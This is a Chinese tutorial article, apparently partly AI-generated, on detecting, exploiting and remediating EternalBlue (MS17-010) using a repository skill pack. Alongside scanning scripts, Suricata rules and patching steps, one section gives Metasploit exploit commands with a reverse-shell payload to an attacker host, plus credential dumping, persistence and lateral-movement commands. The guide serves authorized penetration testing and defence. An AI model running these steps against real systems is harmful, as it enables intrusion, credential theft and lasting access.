ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Anthropic-Cybersecurity-Skills 实战指南:MS17-010(EternalBlue)漏洞检测、利用与修复全解析

2026/9/13 18:54:01 拓冰建站 浏览量
Anthropic-Cybersecurity-Skills 实战指南:MS17-010(EternalBlue)漏洞检测、利用与修复全解析 Anthropic-Cybersecurity-Skills 实战指南MS17-010EternalBlue漏洞检测、利用与修复全解析【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-SkillsMS17-010EternalBlue是微软 SMBv1 实现中的一组远程代码执行漏洞本文以 Anthropic-Cybersecurity-Skills 仓库中exploiting-ms17-010-eternalblue-vulnerability技能包的 API 参考文档为核心系统讲解其协议原理、Nmap 与 Metasploit 检测/利用方法、Suricata 检测规则以及修复加固手段。读完本文你将能够独立完成对未打补丁 SMBv1 主机的授权漏洞探测、利用链搭建、后渗透操作并掌握基于日志与 IDS 规则的检测与修复能力。一、漏洞背景与影响面MS17-010 是微软于 2017 年 3 月发布的安全公告覆盖CVE-2017-0143 至 CVE-2017-0148共 6 个 SMBv1 远程代码执行漏洞。其核心漏洞 CVE-2017-0144 是 SMBv1 服务器中的缓冲区溢出远程攻击者可借由构造的特制数据包在目标主机上执行任意代码。该漏洞最初被 NSA 掌握并遭 Shadow Brokers 组织泄露随后被用于WannaCry 与 NotPetya 勒索软件蠕虫的大规模传播见 SKILL.md 的 Overview 章节。尽管补丁自 2017 年 3 月起就已发布但许多组织至今仍运行着未修复的旧系统这使得 EternalBlue 在遗留 Windows 环境legacy environment中依然是红队实战中高价值的利用向量。受影响系统Affected Systems依据 api-reference.md 与 standards.md受影响系统覆盖 Windows XP 至 Windows Server 2016 的广泛范围操作系统版本是否受影响对应补丁Windows XPSP3是已停止支持无官方补丁Windows Vista / 7 / 8 / 8.1 / 10补丁前版本是Windows 10 1607 及更早版本用 KB4013198Windows 7SP1是KB4012212Windows Server 2003 / 2008 / 2008 R2 / 2012 / 2016补丁前版本是Server 2008 R2 用 KB4012212Windows Server 2012 R2—是KB4012213Windows Server 2016RTM是KB4013429核心指标CVSS v2 评分 9.3严重攻击复杂度低可利用 SMBv1 协议直接获得SYSTEM 权限的远程代码执行。二、SMBv1 协议基础与数据包结构EternalBlue 攻击面是 SMB 协议的 445 端口对应microsoft-ds服务。要理解检测原理必须先掌握 SMBv1 协商Negotiate数据包的结构。SMB 版本对比版本协议名称是否受 EternalBlue 影响SMBv1NT LM 0.12是漏洞根源SMBv2SMB 2.002否SMBv3SMB 3.0否Negotiate Protocol Request 报文格式API 参考文档给出了 SMB 协商请求的关键字段布局OffsetSizeField04NetBIOS Session header44SMB magic0xFF534D4281Command0x72 Negotiate94Status131Flags该表是后续 Python 手工探测脚本的理论基础——检测脚本正是通过发送0x72Negotiate命令并在响应中查找0xFF534D42\xffSMBSMB magic 来判断目标是否启用了 SMBv1。三、Python 手工 SMBv1 探测Socket 层原理API 参考文档给出了最底层的连接测试思路import socket sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target, 445)) sock.send(SMB_NEGOTIATE_PACKET) response sock.recv(4096)仓库中两个 Python 脚本将其落地为可执行工具agent.py 内置了完整的SMB_NEGOTIATE字节序列NetBIOS 头 SMB magic\xff\x53\x4d\x420x72协商命令 一组 dialect 列表包括PC NETWORK PROGRAM 1.0、LANMAN1.0、Windows for Workgroups 3.1a、LM1.2X002、LANMAN2.1、NT LM 0.12其check_ms17_010()函数连接 445 端口后发送该包若响应长度大于 36 字节且data[4:8]等于\xff\x53\x4d\x42即判定目标启用 SMBv1。process.py 进一步读取响应中偏移 37–39 的 dialect index若dialect_index 0xFFFF则标记vulnerable True并提示“SMBv1 enabled - potentially vulnerable需用 Nmap/Metasploit 最终确认”——因为仅确认 SMBv1 支持并不等于漏洞存在完整验证还需 Tree Connect 到IPC$并发送 Transaction 请求代码注释中对此有明确说明。agent.py 还提供两种调用方式# 单主机快速探测纯 socket不依赖外部工具 python3 scripts/agent.py --target 10.0.0.1 --output report.json # 结合 nmap NSE 脚本复核 python3 scripts/agent.py --target 10.0.0.1 --nmapprocess.py 则支持 CIDR 网段并发扫描默认 50 线程、生成利用命令面板与 Markdown 评估报告pip install rich # 依赖impacket可选与 rich python3 scripts/process.py --scan 10.0.0.0/24 --output scan_report.md python3 scripts/process.py --check 10.0.0.1 --verbose python3 scripts/process.py --exploit-commands 10.0.0.1其生成的报告包含执行摘要、漏洞总览表CVE、CVSS 9.3、MS17-010 公告、协议、影响、补丁状态、脆弱主机清单与修复建议可直接作为授权评估的交付物。四、Nmap NSE 脚本检测基本用法nmap -p 445 --script smb-vuln-ms17-010 target针对网段的扩展用法见 workflows.md# 扫描整个 C 段 nmap -p 445 --script smb-vuln-ms17-010 10.0.0.0/24 # 扩展的 SMB 漏洞扫描覆盖更多 SMB 相关 NSE 脚本 nmap -p 445 --script smb-vuln-* 10.0.0.1 # SMB 版本协商检测 nmap -p 445 --script smb-protocols 10.0.0.1脆弱主机输出示例PORT STATE SERVICE 445/tcp open microsoft-ds | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers | Risk factor: HIGH CVSSv2: 9.3agent.py 中的nmap_ms17_010_check()会以子进程方式调用上述命令并通过在输出中检索关键字VULNERABLE自动化判定结果若环境未安装 nmap则返回nmap not available状态。五、Metasploit 模块仅限授权测试辅助扫描模块use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS target run网段批量扫描时设置set THREADS 10以加快速度。漏洞利用模块EternalBlue 主模块use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.0.0.1 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.100 set LPORT 443 exploit利用成功后进入 Meterpreter 会话可执行meterpreter getuid meterpreter sysinfo meterpreter hashdump meterpreter load kiwi meterpreter creds_allPsExec 变体模块EternalRomance / Synergy适用于部分 32 位系统或需要更稳服务的场景use exploit/windows/smb/ms17_010_psexec set RHOSTS 10.0.0.1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.0.0.100 set SMBUser set SMBPass exploit后渗透操作# 凭据提取 meterpreter load kiwi meterpreter creds_all meterpreter kerberos_ticket_list meterpreter lsa_dump_secrets # 持久化 meterpreter run persistence -U -i 30 -p 4444 -r 10.0.0.100 meterpreter run post/windows/manage/enable_rdp # 内网横向与端口转发 meterpreter run post/multi/manage/autoroute meterpreter portfwd add -l 445 -p 445 -r 10.0.1.1这些流程在 workflows.md 的 Workflow 2 / 3 中有完整收录并与 process.py 的generate_exploit_commands()自动输出上述 msfconsole 命令序列一一对应。其他扫描工具工具用途命令示例CrackMapExecSMB 批量漏洞扫描crackmapexec smb 10.0.0.0/24 -M ms17-010CrackMapExec带凭据认证环境下的扫描crackmapexec smb 10.0.0.0/24 -u user -p password -M ms17-010AutoBlue-MS17-010独立 Python 利用脚本—六、检测与告警日志指标与 IDS 规则检测事件源API 参考文档给出了三类关键检测指标来源指标Windows Event 7036服务状态变更利用成功后常伴随异常服务启动Sysmon Event 3指向 445 端口的网络连接IDSEternalBlue SMB 利用流量特征签名SKILL.md 补充了更多检测特征IDS/IPS 对 EternalBlue 利用流量的签名告警来自异常来源主机的 SMBv1 协商请求利用后出现的Event ID 7045新服务安装SMB 上异常命名管道named pipe活动典型的缓冲区溢出特征——超大的 SMB 写入请求。Suricata 检测规则API 参考文档提供的 Suricata 规则通过匹配 SMB 头与特定偏移内容识别 EternalBlue 攻击尝试alert tcp any any - $HOME_NET 445 (msg:ET EXPLOIT EternalBlue Attempt; flow:established,to_server; content:|ff|SMB|73|; content:|08 00|; within:2; distance:54; sid:2024217;)其中|ff|SMB|73|匹配 SMB 协议头magic Command 0x73 Session Setup|08 00|为随后的关键结构字节within/distance约束字节相对位置以降低误报。standards.md 还列出了 Snort SID 41978SMB EternalBlue exploit attempt与 Suricata 的 “ET EXPLOIT Possible MS17-010 SMB Request” 签名可作为规则库对照参考。七、修复与加固RemediationAPI 参考文档给出了四步修复清单结合 process.py 报告中生成的多平台加固命令应用 MS17-010 补丁KB4012598 / KB4013389 等按第二节表格中的版本对应关系选择。禁用 SMBv1 协议# Windows Server 2012 R2 Set-SmbServerConfiguration -EnableSMB1Protocol $false # Windows 10 / Server 2016 Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol # 组策略方式 # Computer Configuration Admin Templates Network Lanman Server # 将 SMB1 设为 Disabled在网络边界阻断 445 端口切断 SMB 的外向暴露面。启用 Windows 防火墙的 SMB 相关规则仅对可信网段放行。此外建议对无法升级的遗留系统进行网络分段隔离并在评估报告中记录系统崩溃或不稳定现象32 位系统在利用时尤其容易崩溃。八、OPSEC 注意事项与验证清单利用 EternalBlue 属于高噪声操作workflows.md 明确列出以下纪律EternalBlue 利用行为极易被 IDS/IPS 捕获现代 EDR 能够检测其创建命名管道与服务的行为模式利用可能导致目标系统崩溃尤其是 32 位系统须在规则授权ROE范围内、仅对已确认脆弱的主机执行若已有合法凭据优先选择认证型利用变体如ms17_010_psexec以降低噪音任何系统崩溃或不稳定迹象需立即记录。每次授权评估完成后可对照 SKILL.md 的验证标准自检脆弱系统已被扫描识别、在授权目标上成功利用、会话建立确认代码执行、后渗透活动已记录、修复建议已提交。仓库还提供了可直接填写的 评估模板含主机统计、利用证据、访问级别 SYSTEM、建议项与 MITRE 映射等字段以及标准的框架映射文档。九、MITRE ATTCK 映射该技能在攻击与检测两侧均与 MITRE ATTCK 对齐技术 ID名称战术阶段T1210Exploitation of Remote Services横向移动T1190Exploit Public-Facing Application初始访问T1569.002System Services: Service Execution执行仓库中的 SKILL.md frontmatter 还补充了 NIST CSF 映射ID.RA-01、GV.OV-02、DE.AE-07与 D3FEND 技术映射Application Protocol Command Analysis、Network Isolation、Network Traffic Analysis、Client-server Payload Profiling、Platform Monitoring说明该技能不仅指导攻击模拟同样服务于检测工程与防御覆盖评估。授权边界声明本文所有检测、利用与后渗透流程仅适用于获得明确授权的红队演练、渗透测试或实验环境。未经授权对任何系统执行上述操作均属违法行为。代码中的探测脚本也仅在For authorized security testing only的前提下设计。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考